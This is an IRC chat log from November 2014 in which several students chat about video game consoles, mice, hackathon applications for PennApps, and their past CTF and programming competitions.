[2014-11-21T18:51:27-0500] <JacobEdelman> tamini
[2014-11-21T18:51:29-0500] <JacobEdelman> tell chris
[2014-11-21T18:51:31-0500] <JacobEdelman> come one!
[2014-11-21T18:51:43-0500] <~awe> http://tra.in
[2014-11-21T18:51:45-0500] <~awe> I love this website.
[2014-11-21T18:51:54-0500] <~awe> I was like "I really hope tra.in has a train on it."
[2014-11-21T18:51:55-0500] <Tamini> lolol
[2014-11-21T18:51:55-0500] <Tamini> damn u
[2014-11-21T18:51:57-0500] <~awe> It has a train!
[2014-11-21T18:52:04-0500] <Tamini> jyu sent last year tho right
[2014-11-21T18:52:25-0500] <Tamini> they're talking about tstst
[2014-11-21T18:53:45-0500] <nezorg> http://ex.pla.in lol
[2014-11-21T18:54:36-0500] <nezorg> awe: http://www.reddit.com/r/rust_gamedev/comments/2n0x08/emscripten_experiments/
[2014-11-21T18:56:00-0500] <~awe> nezorg: neat.
[2014-11-21T19:01:06-0500] <alokpathy> Tamini: Oh you're at dinner?
[2014-11-21T19:03:46-0500] <JacobEdelman> Tamini: tell chris!!
[2014-11-21T19:44:59-0500] <alokpathy> Tamini: Oh, Brice went to the MOP reunion
[2014-11-21T19:56:20-0500] <alokpathy> hai guyz
[2014-11-21T19:58:43-0500] <Tamini> i said hi to brice and shao today
[2014-11-21T19:59:05-0500] <Tamini> i wa socially awk about it tho
[2014-11-21T19:59:24-0500] <alokpathy> What'd they saY/ XD
[2014-11-21T19:59:38-0500] <Tamini> brice remembered me
[2014-11-21T19:59:47-0500] <Tamini> i told shao "alok talks about you all the time"
[2014-11-21T19:59:47-0500] <Tamini> :
[2014-11-21T19:59:50-0500] <Tamini> :P*
[2014-11-21T19:59:52-0500] <alokpathy> wat
[2014-11-21T19:59:56-0500] <alokpathy> no I don't
[2014-11-21T20:00:05-0500] <alokpathy> great way to make me seem weird
[2014-11-21T20:02:37-0500] <Tamini> teehee
[2014-11-21T20:02:51-0500] <~awe> alokpathy: You are weird.
[2014-11-21T20:02:59-0500] <Tamini> yes, you are <3
[2014-11-21T20:02:59-0500] <~awe> alokpathy: You require no assistance in seeming so.
[2014-11-21T20:04:22-0500] <alokpathy> Am I weird in a good or bad way?
[2014-11-21T20:06:34-0500] <~awe> Debatable. ;0
[2014-11-21T20:06:37-0500] <~awe> ;)*
[2014-11-21T20:06:54-0500] <alokpathy> :|
[2014-11-21T20:16:22-0500] <nezorg> ugh
[2014-11-21T20:16:28-0500] <nezorg> the new smash makes me want a wii u
[2014-11-21T20:16:33-0500] <nezorg> but I totally can’t justify buying one :C
[2014-11-21T20:20:52-0500] <JacobEdelman> alokpathy: yeah, you are weird, unlike me
[2014-11-21T20:20:53-0500] <JacobEdelman> :P
[2014-11-21T20:21:42-0500] <~awe> nezorg: Pokemon games make me want a 3DS but same deal.
[2014-11-21T20:21:55-0500] <nezorg> awe: same :’(
[2014-11-21T20:22:34-0500] <nezorg> the thing with smash, though, is that it’s really not the same without the controllers
[2014-11-21T20:22:42-0500] <nezorg> so it doesn’t work real well in emulators
[2014-11-21T20:22:49-0500] <nezorg> (although I suppose you could buy adapters)
[2014-11-21T20:23:07-0500] <JacobEdelman> awe, nezorg: princeotn makes me want to graduate highschool but same deal
[2014-11-21T20:23:07-0500] <JacobEdelman> :P
[2014-11-21T20:23:25-0500] <nezorg> JacobEdelman: you can’t justify graduating high school?
[2014-11-21T20:23:25-0500] <nezorg> XD
[2014-11-21T20:23:37-0500] <JacobEdelman> I'm too lazy
[2014-11-21T20:23:39-0500] <JacobEdelman> :P
[2014-11-21T20:27:07-0500] <nezorg> http://i.imgur.com/tWNdhZB.jpg lol
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[2014-11-21T20:27:55-0500] <~awe> EA is very accurate.
[2014-11-21T20:30:05-0500] <Tamini> oh, the new smash
[2014-11-21T20:30:12-0500] <Tamini> my friends are having a party to celebrate that
[2014-11-21T20:30:13-0500] <Tamini> >.<
[2014-11-21T20:30:25-0500] <nezorg> I waaaaaaaaaaaaaant it
[2014-11-21T20:30:31-0500] <Tamini> me tooooo
[2014-11-21T20:30:38-0500] <Tamini> buy me a wii u pls
[2014-11-21T20:30:41-0500] <Tamini> u have much moneyz
[2014-11-21T20:33:14-0500] <Tamini> from much cs competitions
[2014-11-21T20:33:21-0500] <nezorg> just pico
[2014-11-21T20:34:13-0500] <Tamini> do more cs comps
[2014-11-21T20:34:51-0500] <nezorg> remind me when I have time
[2014-11-21T20:34:59-0500] <nezorg> then again I somehow have time to want to play smash...
[2014-11-21T20:36:51-0500] <Tamini> Lol
[2014-11-21T20:36:52-0500] <Tamini> :P
[2014-11-21T20:37:00-0500] <Tamini> you have 3 more hours of life than i do
[2014-11-21T20:37:01-0500] <Tamini> pah
[2014-11-21T20:37:23-0500] <nezorg> because I’m in PST?
[2014-11-21T20:37:24-0500] <nezorg> XD
[2014-11-21T20:38:03-0500] <Tamini> yes
[2014-11-21T20:38:13-0500] <Tamini> californians have 27 hour days
[2014-11-21T20:38:15-0500] <Tamini> didnt you know
[2014-11-21T20:38:41-0500] <nezorg> ah
[2014-11-21T20:39:59-0500] <nezorg> maybe I could justify a 2ds…
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[2014-11-21T20:41:25-0500] <~awe> nezorg: they look silly though.
[2014-11-21T20:41:40-0500] <nezorg> true, but honestly doesn’t matter much :P
[2014-11-21T20:42:18-0500] <+james> nezorg: but for like $40 more you can get a 3ds, right
[2014-11-21T20:42:26-0500] <nezorg> something like that
[2014-11-21T20:42:33-0500] <nezorg> but new 3ds’s are coming out next year
[2014-11-21T20:42:38-0500] <+james> but it has one more d
[2014-11-21T20:42:42-0500] <+james> that makes it better, right?
[2014-11-21T20:42:50-0500] <nezorg> perhaps
[2014-11-21T20:43:47-0500] <nezorg> anyone know if this mouse is any good? http://www.amazon.com/dp/B007WTAJTE/
[2014-11-21T20:43:47-0500] <Tamini> LOL
[2014-11-21T20:44:13-0500] <Tamini> i really can't justify
[2014-11-21T20:44:19-0500] <Tamini> getting any gaming console
[2014-11-21T20:44:28-0500] <+james> lolgaming
[2014-11-21T20:44:29-0500] <Tamini> seeing as i tend to get very immersed in games
[2014-11-21T20:44:31-0500] <~awe> Lol, gaming mice.
[2014-11-21T20:44:33-0500] <+james> i don't game at all
[2014-11-21T20:44:37-0500] <Tamini> wow ru hating on me james
[2014-11-21T20:44:38-0500] <Tamini> :<
[2014-11-21T20:45:00-0500] <~awe> http://www.amazon.com/Logitech-910-001799-M570-Wireless-Trackball/dp/B0043T7FXE/ref=sr_1_1?s=electronics&ie=UTF8&qid=1416620692&sr=1-1&keywords=logitech+wireless+trackball
[2014-11-21T20:45:07-0500] <~awe> I'd very much recommend this mouse.
[2014-11-21T20:45:20-0500] <nezorg> I’m not a fan of trackballs
[2014-11-21T20:45:28-0500] <nezorg> plus, the only time I ever use a mouse is for gaming :P
[2014-11-21T20:45:30-0500] <+james> Tamini: i'm just saying i don't game :P
[2014-11-21T20:45:43-0500] <nezorg> …well and solidworks
[2014-11-21T20:45:45-0500] <nezorg> but that’s about it
[2014-11-21T20:45:49-0500] <~awe> Trackballs work well for gaming with practice.
[2014-11-21T20:46:22-0500] <Tamini> ...one of my teammates just
[2014-11-21T20:46:27-0500] <Tamini> forgot i was female
[2014-11-21T20:46:33-0500] <~awe> You're female?
[2014-11-21T20:46:41-0500] <Tamini> >.<
[2014-11-21T20:47:09-0500] <nezorg> wat
[2014-11-21T20:47:17-0500] <Tamini> like
[2014-11-21T20:47:20-0500] <Tamini> he started trying to
[2014-11-21T20:47:23-0500] <Tamini> take his pants off
[2014-11-21T20:47:28-0500] <~awe> Oh, I would do that anyway.
[2014-11-21T20:47:29-0500] <Tamini> and we were like "uh pls stop"
[2014-11-21T20:47:29-0500] <~awe> Who cares?
[2014-11-21T20:47:43-0500] <nezorg> apparently she does :P
[2014-11-21T20:47:52-0500] <Tamini> well i mean
[2014-11-21T20:47:56-0500] <Tamini> its weird
[2014-11-21T20:47:57-0500] <Tamini> >.>
[2014-11-21T20:48:16-0500] <~awe> Why?
[2014-11-21T20:48:24-0500] <~awe> If you don't want to look, don't look.
[2014-11-21T20:48:28-0500] <nezorg> because it’s a norm of society
[2014-11-21T20:48:34-0500] <nezorg> that’s how weird is defined
[2014-11-21T20:48:48-0500] <~awe> Not really.
[2014-11-21T20:48:55-0500] <~awe> You don't have to find everything that's socialized as being weird to be weird.
[2014-11-21T20:48:56-0500] <nezorg> well, how it’s used, anyway
[2014-11-21T20:49:37-0500] <~awe> OH god.
[2014-11-21T20:49:46-0500] <~awe> Some people on my other IRC were playing L4D.
[2014-11-21T20:49:48-0500] <~awe> Drama ensues.
[2014-11-21T20:50:27-0500] <nezorg> …why?
[2014-11-21T20:56:11-0500] <~awe> I don't know.
[2014-11-21T20:56:14-0500] <~awe> Some troll joined their game.
[2014-11-21T20:56:17-0500] <~awe> They're in a shouting match now.
[2014-11-21T21:01:15-0500] <Tamini> lol
[2014-11-21T21:01:23-0500] <Tamini> goddammit
[2014-11-21T21:01:28-0500] <Tamini> and awe idk i dont appreciate
[2014-11-21T21:01:37-0500] <Tamini> having people i dont know take off their clothes in front of me
[2014-11-21T21:01:51-0500] <~awe> I guess I understand.
[2014-11-21T21:01:56-0500] <~awe> I just wouldn't pay any mind to it, personally.
[2014-11-21T21:03:44-0500] <Tamini> heh
[2014-11-21T21:03:58-0500] <Tamini> yeah, but you're a lot more chill than i am
[2014-11-21T21:06:47-0500] <Tamini> idk man how do you manage to not feel weird with people stripping near you
[2014-11-21T21:06:56-0500] <JacobEdelman> awe: yes, but you should pay attentnion when other people care
[2014-11-21T21:07:06-0500] <JacobEdelman> Tamini: I agree with you
[2014-11-21T21:07:14-0500] <JacobEdelman> Tamini: its weird
[2014-11-21T21:07:16-0500] <alokpathy> JacobEdelman: Did you apply to PennApps yet?
[2014-11-21T21:07:21-0500] <JacobEdelman> oh, no
[2014-11-21T21:07:25-0500] <JacobEdelman> when is the application due?
[2014-11-21T21:07:28-0500] <alokpathy> Tonight
[2014-11-21T21:07:30-0500] <alokpathy> midnight
[2014-11-21T21:07:42-0500] <JacobEdelman> oh
[2014-11-21T21:07:44-0500] <JacobEdelman> Tamini
[2014-11-21T21:07:46-0500] <JacobEdelman> apply
[2014-11-21T21:07:49-0500] <~awe> Tamini: It's non-sexual.
[2014-11-21T21:07:54-0500] <alokpathy> Tamini: apply now
[2014-11-21T21:08:02-0500] <~awe> JacobEdelman: that's five minutes after my essay is due :D
[2014-11-21T21:10:58-0500] <JacobEdelman> I've attended penn apps for two years, right?
[2014-11-21T21:11:38-0500] <~awe> Yeah.
[2014-11-21T21:13:11-0500] <alokpathy> JacobEdelman: No, one year, but two competitions.
[2014-11-21T21:13:14-0500] <alokpathy> They were both in the same year.
[2014-11-21T21:14:43-0500] <~awe> Well, yeah.
[2014-11-21T21:14:46-0500] <~awe> You went twice.
[2014-11-21T21:14:49-0500] <~awe> That's the important part.
[2014-11-21T21:15:03-0500] <JacobEdelman> alokpathy: whats our team code?
[2014-11-21T21:15:32-0500] <~awe> k0492093204j
[2014-11-21T21:15:36-0500] <~awe> Put that in.
[2014-11-21T21:16:01-0500] <~awe> i: how frustrating are all the pings?
[2014-11-21T21:16:17-0500] <JacobEdelman> .... wait, what? are you on our team awe?
[2014-11-21T21:16:27-0500] <~awe> JacobEdelman: lolno, I was just fucking with you.
[2014-11-21T21:16:33-0500] <JacobEdelman> I guessed that
[2014-11-21T21:16:36-0500] <JacobEdelman> but wasn't sure
[2014-11-21T21:16:42-0500] <JacobEdelman> I wouldn't mind having you on the team
[2014-11-21T21:17:02-0500] <JacobEdelman> would be nice to have someone who coded more than I did
[2014-11-21T21:17:14-0500] <~awe> I don't know anything about what you're planning to make or when PennApps is or if I'd be able to go anyway.
[2014-11-21T21:19:17-0500] <JacobEdelman> we have no plans
[2014-11-21T21:19:21-0500] <JacobEdelman> its some time in spring
[2014-11-21T21:19:29-0500] <~awe> Well, that's vague.
[2014-11-21T21:19:37-0500] <JacobEdelman> and come on, tons of college students come so I'm sure you can
[2014-11-21T21:19:50-0500] <JacobEdelman> (I don't know any more detiall, just check their site)
[2014-11-21T21:19:55-0500] <~awe> I don't have time.
[2014-11-21T21:19:59-0500] <~awe> I have to write a stupid essay, remember?
[2014-11-21T21:20:03-0500] <JacobEdelman> (although we may already have all 4 spots on our team filled anyway...)
[2014-11-21T21:20:04-0500] <JacobEdelman> fine
[2014-11-21T21:20:06-0500] <JacobEdelman> write it
[2014-11-21T21:20:10-0500] <~awe> Oh, there you go.
[2014-11-21T21:20:12-0500] <~awe> Your team is full anyway.
[2014-11-21T21:20:23-0500] <~awe> Who with?
[2014-11-21T21:20:28-0500] <~awe> You, be, alokpathy 
[2014-11-21T21:20:35-0500] <Tamini> wait shit uh
[2014-11-21T21:20:36-0500] <Tamini> penapps
[2014-11-21T21:20:40-0500] <Tamini> i have nothing in my repo rn
[2014-11-21T21:20:41-0500] <JacobEdelman> yeah
[2014-11-21T21:20:43-0500] <JacobEdelman> apply
[2014-11-21T21:20:43-0500] <Tamini> and no laptop
[2014-11-21T21:20:46-0500] <JacobEdelman> thats probaly fine
[2014-11-21T21:20:48-0500] <Tamini> shiet?
[2014-11-21T21:20:56-0500] <JacobEdelman> you don't need a laptop
[2014-11-21T21:20:59-0500] <JacobEdelman> just apply on the site
[2014-11-21T21:21:11-0500] <JacobEdelman> and you can join our team
[2014-11-21T21:21:18-0500] <JacobEdelman> chances are they'll accept us as a team
[2014-11-21T21:21:46-0500] <alokpathy> Tamini: Go on your phone or something
[2014-11-21T21:21:55-0500] <alokpathy> or steal somebody else's laptop temporarily
[2014-11-21T21:22:00-0500] <alokpathy> a.k.a borrowing
[2014-11-21T21:22:02-0500] <Tamini> wait dammit
[2014-11-21T21:22:17-0500] <alokpathy> Also, our team code is -yfg0lr08 or yfg0lr08 because I'm not sure if the dash is included.
[2014-11-21T21:22:30-0500] <alokpathy> The dash is included
[2014-11-21T21:22:32-0500] <JacobEdelman> it is -yfg0lr08
[2014-11-21T21:24:05-0500] <alokpathy> Tamini: go go go go go
[2014-11-21T21:24:20-0500] <JacobEdelman> awe: I joined your irc
[2014-11-21T21:24:24-0500] <JacobEdelman> it seems boring
[2014-11-21T21:24:33-0500] <~awe> Why?
[2014-11-21T21:24:52-0500] <~awe> Oh, Tamini is going to be on your team?
[2014-11-21T21:24:56-0500] <~awe> I'm jealous.
[2014-11-21T21:25:01-0500] <~awe> Can you kick alokpathy off and then maybe I'll come?
[2014-11-21T21:25:02-0500] <+i> Man, this was a bad idea.
[2014-11-21T21:25:06-0500] <alokpathy> :(
[2014-11-21T21:25:06-0500] i is now known as LittleBobbyTables
[2014-11-21T21:25:18-0500] <alokpathy> awe: why me? :(
[2014-11-21T21:25:21-0500] <alokpathy> [cries]
[2014-11-21T21:25:28-0500] <~awe> LittleBobbyTables: LittleBobbyTables'm just going to substitute the word LittleBobbyTables for LittleBobbyTables every time I write it now.
[2014-11-21T21:25:33-0500] <+LittleBobbyTables> .......
[2014-11-21T21:25:39-0500] <~awe> Shit.
[2014-11-21T21:25:41-0500] <~awe> I already messed up.
[2014-11-21T21:25:51-0500] <~awe> Twice.
[2014-11-21T21:25:59-0500] <~awe> LittleBobbyTables already messed up.
[2014-11-21T21:26:02-0500] <~awe> That's what LittleBobbyTables meant.
[2014-11-21T21:26:08-0500] <alokpathy> It's okay. LittleBobbyTables'll make up for it.
[2014-11-21T21:26:31-0500] <alokpathy> Wow that has a completely different meaning when I make the sub.
[2014-11-21T21:26:32-0500] <~awe> alokpathy: LittleBobbyTables had to kick you off because be is too perfect, and there's no way LittleBobbyTables could kick JacobEdelman off.
[2014-11-21T21:27:16-0500] <~awe> And for me, it'd defeat the purpose if LittleBobbyTables couldn't be with Tamini.
[2014-11-21T21:28:02-0500] <JacobEdelman>  LittleBobbyTables think that we could just kick everybody off and leave awe on the team alone, that way we can guarntee he has enough room, even  LittleBobbyTables will be kicked off,
[2014-11-21T21:28:08-0500] <JacobEdelman> don't worry  LittleBobbyTables'm fine with it
[2014-11-21T21:28:29-0500] <alokpathy> awe: be isn't with us I think.
[2014-11-21T21:28:33-0500] <~awe> But JacobEdelman, LittleBobbyTables don't think LittleBobbyTables could deal with that. LittleBobbyTables don't want to be alone. 
[2014-11-21T21:28:43-0500] <~awe> alokpathy: So, then who is your fourth?
[2014-11-21T21:28:49-0500] <alokpathy> awe: Jay
[2014-11-21T21:28:52-0500] <~awe> Oh.
[2014-11-21T21:28:53-0500] <alokpathy> I think
[2014-11-21T21:28:57-0500] <alokpathy> He hasn't actually
[2014-11-21T21:29:00-0500] <alokpathy> officially joined
[2014-11-21T21:29:01-0500] <JacobEdelman>  LittleBobbyTables could just be with  LittleBobbyTables that way it'd be 2 people
[2014-11-21T21:29:04-0500] <~awe> Kick him off then. ;)
[2014-11-21T21:29:09-0500] <alokpathy> nor has he stated whether he's on some other team.
[2014-11-21T21:29:24-0500] <alokpathy> awe: Wait so you're coming to PennApps? :o
[2014-11-21T21:29:31-0500] <~awe> I can't really fill out an application right now.
[2014-11-21T21:29:40-0500] <alokpathy> awe: aw wai
[2014-11-21T21:29:44-0500] <~awe> But if it's in the Spring, I guess I'd be down.
[2014-11-21T21:29:46-0500] <~awe> Essay.
[2014-11-21T21:29:50-0500] <alokpathy> It is in the spring
[2014-11-21T21:29:57-0500] <alokpathy> The application takes like 5min. tops.
[2014-11-21T21:30:02-0500] <~awe> Okay, fine.
[2014-11-21T21:30:24-0500] <~awe> Tamini: you better do it though.
[2014-11-21T21:30:28-0500] <~awe> LittleBobbyTables: I give up.
[2014-11-21T21:30:29-0500] <alokpathy> It's basically name, school saysomestuff
[2014-11-21T21:30:40-0500] <alokpathy> Tamini: Did you apply yet? :P
[2014-11-21T21:30:46-0500] <~awe> The spring?
[2014-11-21T21:30:47-0500] <Tamini> lol
[2014-11-21T21:30:49-0500] <~awe> It's January 15th-18th.
[2014-11-21T21:30:50-0500] <Tamini> one sec man
[2014-11-21T21:30:52-0500] <Tamini> i gotta
[2014-11-21T21:30:54-0500] <~awe> 16th*
[2014-11-21T21:30:57-0500] <Tamini> link pls
[2014-11-21T21:30:57-0500] <~awe> That's winter, you shitlords.
[2014-11-21T21:31:40-0500] <JacobEdelman> wait
[2014-11-21T21:31:44-0500] <JacobEdelman> awe is actually coming?
[2014-11-21T21:31:45-0500] <alokpathy> awe: Spring sem though
[2014-11-21T21:31:54-0500] <~awe> Hold on.
[2014-11-21T21:31:59-0500] <Tamini> goddamit thE SITE ISNT LOADING
[2014-11-21T21:32:01-0500] <alokpathy> That's what I and PennApps mean by spring.
[2014-11-21T21:32:04-0500] <alokpathy> Tamini: :|
[2014-11-21T21:32:14-0500] <~awe> Classes start back up on the 20th.
[2014-11-21T21:32:18-0500] <alokpathy> Tamini: http://2015s.pennapps.com/ ?
[2014-11-21T21:32:23-0500] <alokpathy> awe: Oh nice so you're on break.
[2014-11-21T21:32:32-0500] <JacobEdelman> Tamini: we could fill it out for you
[2014-11-21T21:32:35-0500] <Tamini> yeah one sec
[2014-11-21T21:32:40-0500] <JacobEdelman> all you'd have to do is verify it
[2014-11-21T21:32:43-0500] <JacobEdelman> *the email
[2014-11-21T21:32:51-0500] <~awe> I'll be in NJ at that time.
[2014-11-21T21:33:02-0500] <JacobEdelman> really? why?
[2014-11-21T21:33:03-0500] <JacobEdelman> breal?
[2014-11-21T21:33:05-0500] <alokpathy> awe: So you can come over :D
[2014-11-21T21:33:06-0500] <JacobEdelman> *break?
[2014-11-21T21:33:10-0500] <alokpathy> to Penn :D
[2014-11-21T21:33:12-0500] <alokpathy> right?
[2014-11-21T21:33:52-0500] <~awe> Yeah, I guess so.
[2014-11-21T21:33:53-0500] <Tamini> verifying email
[2014-11-21T21:34:19-0500] <JacobEdelman> wow, it'll be just like the good old days
[2014-11-21T21:34:28-0500] <JacobEdelman> remember how well the last hackathon we did went :P
[2014-11-21T21:34:37-0500] <Tamini> filling app
[2014-11-21T21:34:38-0500] <Tamini> and lolol
[2014-11-21T21:34:42-0500] <Tamini> i cant cs anymore tho
[2014-11-21T21:34:57-0500] <JacobEdelman> *that was addressed to awe
[2014-11-21T21:35:19-0500] <JacobEdelman> (my first hackathon ever, actually, all of our first hackthon, was HackPrinceton.... we failed really really badly
[2014-11-21T21:35:20-0500] <JacobEdelman> )
[2014-11-21T21:35:38-0500] <JacobEdelman> hmmm.... we gotta get an idea now
[2014-11-21T21:35:42-0500] <Tamini> can i just not give them my github and links
[2014-11-21T21:35:46-0500] <Tamini> because i cant
[2014-11-21T21:35:52-0500] <JacobEdelman> why can't you?
[2014-11-21T21:35:54-0500] <Tamini> find stuff
[2014-11-21T21:35:59-0500] <JacobEdelman> wait
[2014-11-21T21:36:03-0500] <JacobEdelman> I can chat you links
[2014-11-21T21:36:07-0500] <Tamini> and my github is empty bc stuff
[2014-11-21T21:36:08-0500] <JacobEdelman> if its browser difficulty or whatever
[2014-11-21T21:36:09-0500] <Tamini> ok sure
[2014-11-21T21:36:11-0500] <Tamini> oh
[2014-11-21T21:36:16-0500] <JacobEdelman> here
[2014-11-21T21:36:18-0500] <JacobEdelman> describe
[2014-11-21T21:36:19-0500] <Tamini> i dont host stuff online yo
[2014-11-21T21:36:30-0500] <JacobEdelman> describe your best projects
[2014-11-21T21:37:00-0500] <JacobEdelman> describe how you did well in picoCTF (don't describe how you did well in hsctf, since that would look suspisoucs as I'm saying how I ran hsctf...)
[2014-11-21T21:37:08-0500] <JacobEdelman> also, describe what you know in cs
[2014-11-21T21:37:09-0500] <JacobEdelman> and such
[2014-11-21T21:37:25-0500] <Tamini> lemme just describe lol
[2014-11-21T21:37:55-0500] <alokpathy> JacobEdelman: Oops I forgot to mention that actually
[2014-11-21T21:38:30-0500] <JacobEdelman> wow, you should
[2014-11-21T21:38:35-0500] <JacobEdelman> it was one of the three things I mentioned
[2014-11-21T21:39:02-0500] <alokpathy> JacobEdelman: What were the other two?
[2014-11-21T21:39:14-0500] <JacobEdelman> that I went to two previos pennapps
[2014-11-21T21:39:16-0500] <JacobEdelman> and nearley
[2014-11-21T21:39:27-0500] <alokpathy> JacobEdelman: Ah, okay
[2014-11-21T21:39:53-0500] <alokpathy> I mentioned both PA's, BCA, that random StuCo script, and projects I hope to work on
[2014-11-21T21:39:54-0500] <JacobEdelman> so, ideas?
[2014-11-21T21:39:56-0500] <alokpathy> along with CTFs now
[2014-11-21T21:40:04-0500] <JacobEdelman> ahh, I should add BCA
[2014-11-21T21:40:04-0500] <Tamini> i did it yay <3
[2014-11-21T21:40:09-0500] <alokpathy> Tamini: yeeeeeeeeeeeeeeeeeeeeeey
[2014-11-21T21:40:11-0500] <alokpathy> Wait did you add
[2014-11-21T21:40:13-0500] <alokpathy> the team code
[2014-11-21T21:40:13-0500] <alokpathy> ?
[2014-11-21T21:40:22-0500] <alokpathy> JacobEdelman: Yeah 'cause we actually did well at BCA lol
[2014-11-21T21:41:45-0500] <~awe> I am in.
[2014-11-21T21:41:50-0500] <alokpathy> Wait, what did you guys put for the healthcare questions?
[2014-11-21T21:41:53-0500] <JacobEdelman> hmmm...with our team code?
[2014-11-21T21:41:55-0500] <~awe> No.
[2014-11-21T21:41:56-0500] <JacobEdelman> I put no
[2014-11-21T21:41:58-0500] <alokpathy> Alrigh
[2014-11-21T21:41:58-0500] <alokpathy> t
[2014-11-21T21:42:03-0500] <~awe> I don't think we're making healthcare.gov lol
[2014-11-21T21:42:04-0500] <JacobEdelman> so, ideas?
[2014-11-21T21:42:16-0500] <~awe> This is surprisingly well timed.
[2014-11-21T21:42:24-0500] <~awe> It's just before the semester starts. Lauren is going to be moving in on the 18th.
[2014-11-21T21:42:31-0500] <JacobEdelman> Lauren?
[2014-11-21T21:42:37-0500] <~awe> My girlfriend. She's transferring to UMass.
[2014-11-21T21:42:43-0500] <alokpathy> awe: woah really? :o
[2014-11-21T21:42:45-0500] <alokpathy> Nicee
[2014-11-21T21:42:49-0500] <~awe> So, I'll be at PennApps, and then I'll come up to be with her for her first night.
[2014-11-21T21:42:58-0500] <alokpathy> Sweet
[2014-11-21T21:43:00-0500] <alokpathy> It all works out
[2014-11-21T21:43:01-0500] <alokpathy> yaay
[2014-11-21T21:43:31-0500] <JacobEdelman> wait, was she the one you met while here?
[2014-11-21T21:43:38-0500] <~awe> Hm?
[2014-11-21T21:43:46-0500] <~awe> I started dating her in June.
[2014-11-21T21:43:54-0500] <JacobEdelman> ah, so yes, while still in hs
[2014-11-21T21:44:01-0500] <~awe> Yeah, right before graduation.
[2014-11-21T21:44:15-0500] <JacobEdelman> (you met her like right before bergers graduation party and the best game of resistance ever)
[2014-11-21T21:44:22-0500] <~awe> Yeah, I think so.
[2014-11-21T21:44:33-0500] <~awe> Well, nah.
[2014-11-21T21:44:38-0500] <~awe> I met her earlier than that I think.
[2014-11-21T21:44:50-0500] <~awe> But that's when we were starting to date, yeah.
[2014-11-21T21:45:15-0500] <~awe> Here's what I wrote for my application:
[2014-11-21T21:45:15-0500] <JacobEdelman> her profile picture with you is creepy
[2014-11-21T21:45:18-0500] <~awe> Personal website: https://aaronweiss.us
[2014-11-21T21:45:18-0500] <~awe> Startup I work at: http://protoipo.com
[2014-11-21T21:45:18-0500] <~awe> Current favorite project: https://github.com/aaronweiss74/irc
[2014-11-21T21:45:18-0500] <~awe> Currently obsessing over: Rust
[2014-11-21T21:45:18-0500] <~awe> I'm also one of the original coordinators of the CTF competition, HSCTF. In our first year of operating the competition, we had over 2,000 participants!
[2014-11-21T21:45:18-0500] <~awe> I'm interested in programming language and type theory. At my Uni, I'm currently working on getting involved in research in those areas, but I don't have any specifics quite yet.
[2014-11-21T21:45:19-0500] <JacobEdelman> well, youre creepy
[2014-11-21T21:45:20-0500] <JacobEdelman> shes fine
[2014-11-21T21:45:36-0500] <JacobEdelman> nice!
[2014-11-21T21:45:48-0500] <~awe> Technically, I haven't emailed Emery Berger about research yet.
[2014-11-21T21:45:50-0500] <~awe> But you know, whatever.
[2014-11-21T21:45:58-0500] <~awe> I'll do so when I don't have an essay due.
[2014-11-21T21:45:58-0500] <JacobEdelman> (mention that HSCTF is a cs comption, most people havn't heard of CTFs)
[2014-11-21T21:46:02-0500] <JacobEdelman> *competition
[2014-11-21T21:46:13-0500] <alokpathy> Oh I should say what I"m interested in
[2014-11-21T21:46:20-0500] <~awe> I'm also one of the original coordinators of the Computer Science and Computer Security competition, HSCTF. 
[2014-11-21T21:46:20-0500] <alokpathy> JacobEdelman: I would think PennApps people heard of CTFs
[2014-11-21T21:46:24-0500] <JacobEdelman> nah
[2014-11-21T21:46:32-0500] <JacobEdelman> my cousin hadn't
[2014-11-21T21:46:41-0500] <~awe> Oh god.
[2014-11-21T21:46:44-0500] <~awe> That's funny.
[2014-11-21T21:46:45-0500] <JacobEdelman> even ed felten, a huge person in security, hadn't
[2014-11-21T21:46:58-0500] <JacobEdelman> CTFs are surprising insular to the haxor community
[2014-11-21T21:47:13-0500] <~awe> I can't believe I'm suddenly going to PennApps. .-.
[2014-11-21T21:47:20-0500] <~awe> It's cool though because I get to be on Tamini's team.
[2014-11-21T21:47:25-0500] <JacobEdelman> I know, its gonna be fun
[2014-11-21T21:47:29-0500] <alokpathy> awe: (and alokpathy's team)
[2014-11-21T21:47:35-0500] <~awe> alokpathy: I'm always on your team, boy.
[2014-11-21T21:47:39-0500] <JacobEdelman> team name B
[2014-11-21T21:47:45-0500] <JacobEdelman> (were gonna be A at pclassic)
[2014-11-21T21:47:47-0500] <~awe> alokpathy: Actually, I don't think I've ever been on your team for everything.
[2014-11-21T21:47:57-0500] <~awe>  /s/everything/anything
[2014-11-21T21:48:01-0500] <JacobEdelman> .... hmmm.... was he there at hackprinceton?
[2014-11-21T21:48:03-0500] <alokpathy> awe: Some things
[2014-11-21T21:48:04-0500] <~awe> On, yes.
[2014-11-21T21:48:05-0500] <~awe> HackPrinceton.
[2014-11-21T21:48:06-0500] <~awe> That's it.
[2014-11-21T21:48:09-0500] <alokpathy> Pico
[2014-11-21T21:48:11-0500] <~awe> PClassic both times, we were on different teams.
[2014-11-21T21:48:11-0500] <alokpathy> CSAW
[2014-11-21T21:48:14-0500] <~awe> Oh, right.
[2014-11-21T21:48:16-0500] <~awe> I frogot about those.
[2014-11-21T21:48:18-0500] <~awe> forgot*
[2014-11-21T21:48:22-0500] <alokpathy> awe: Not that one time we didn't have Ben and Ernest though
[2014-11-21T21:48:38-0500] <~awe> We did three PClassics together?
[2014-11-21T21:48:40-0500] <~awe> We did.
[2014-11-21T21:48:41-0500] <alokpathy> Yeah
[2014-11-21T21:48:44-0500] <JacobEdelman> (although admittabdle during pico you were still quite, it wasn't until later that I began to know you as more than "the quite kid who is tall")
[2014-11-21T21:48:50-0500] <alokpathy> Except we failed one of them so nobody remembers it
[2014-11-21T21:48:50-0500] <JacobEdelman> *admittadly
[2014-11-21T21:49:02-0500] <alokpathy> JacobEdelman: I think I was always the quiet one.
[2014-11-21T21:49:06-0500] <JacobEdelman> (we did all the novice problems, rememebr)
[2014-11-21T21:49:07-0500] <JacobEdelman> yes
[2014-11-21T21:49:09-0500] <~awe> Yeah, we got sdamashrekt without Ben and Ernest.
[2014-11-21T21:49:10-0500] <JacobEdelman> but now
[2014-11-21T21:49:12-0500] <JacobEdelman> you talk more
[2014-11-21T21:49:20-0500] <JacobEdelman> .... is that a verb now?
[2014-11-21T21:49:21-0500] <alokpathy> JacobEdelman: Slightly
[2014-11-21T21:49:25-0500] <alokpathy> JacobEdelman: and yes
[2014-11-21T21:49:26-0500] <~awe> shrekt was always a verb.
[2014-11-21T21:49:32-0500] <~awe> I just made it into the more powerful sdamashrekt.
[2014-11-21T21:49:33-0500] <JacobEdelman> too us you are more talkative, way more
